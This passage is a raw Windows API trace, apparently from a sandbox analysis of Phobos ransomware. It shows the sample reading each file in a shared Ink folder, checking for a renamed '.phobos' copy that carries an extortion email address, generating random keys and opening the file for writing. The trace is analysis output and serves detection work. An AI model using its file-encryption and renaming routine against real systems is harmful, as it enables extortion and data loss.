(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.676] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=617) returned 1 [0163.676] CloseHandle (hObject=0x2d4) returned 1 [0163.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0163.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.677] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.680] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.680] ResetEvent (hEvent=0x29c) returned 1 [0163.680] SetEvent (hEvent=0x2a0) returned 1 [0163.680] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.680] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.681] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=15097) returned 1 [0163.681] CloseHandle (hObject=0x2d4) returned 1 [0163.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0163.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.681] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.683] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.684] ResetEvent (hEvent=0x29c) returned 1 [0163.684] SetEvent (hEvent=0x2a0) returned 1 [0163.684] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.685] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=11067) returned 1 [0163.685] CloseHandle (hObject=0x2d4) returned 1 [0163.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0163.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.686] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.689] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.753] ResetEvent (hEvent=0x29c) returned 1 [0163.753] SetEvent (hEvent=0x2a0) returned 1 [0163.841] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.842] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=44506) returned 1 [0163.842] CloseHandle (hObject=0x2dc) returned 1 [0163.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0163.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.843] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.844] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2628) returned 1 [0163.844] CloseHandle (hObject=0x2dc) returned 1 [0163.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0163.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.844] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.845] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2532) returned 1 [0163.845] CloseHandle (hObject=0x2dc) returned 1 [0163.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml")) returned 0x20 [0163.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.846] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.846] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2518) returned 1 [0163.846] CloseHandle (hObject=0x2dc) returned 1 [0163.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml")) returned 0x20 [0163.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.846] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.847] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2652) returned 1 [0163.847] CloseHandle (hObject=0x2dc) returned 1 [0163.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0163.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.847] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.848] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2570) returned 1 [0163.848] CloseHandle (hObject=0x2dc) returned 1 [0163.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml")) returned 0x20 [0163.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.848] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.848] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2526) returned 1 [0163.848] CloseHandle (hObject=0x2dc) returned 1 [0163.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0163.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.849] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.849] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2522) returned 1 [0163.849] CloseHandle (hObject=0x2dc) returned 1 [0163.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0163.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.850] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.850] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2568) returned 1 [0163.850] CloseHandle (hObject=0x2dc) returned 1 [0163.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0163.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.851] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.851] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2626) returned 1 [0163.851] CloseHandle (hObject=0x2dc) returned 1 [0163.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0163.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.852] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.852] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2580) returned 1 [0163.852] CloseHandle (hObject=0x2dc) returned 1 [0163.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0163.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.853] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.853] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2600) returned 1 [0163.853] CloseHandle (hObject=0x2dc) returned 1 [0163.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0163.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.853] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.854] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2246) returned 1 [0163.854] CloseHandle (hObject=0x2dc) returned 1 [0163.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0163.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.854] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.855] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2240) returned 1 [0163.855] CloseHandle (hObject=0x2dc) returned 1 [0163.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0163.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: 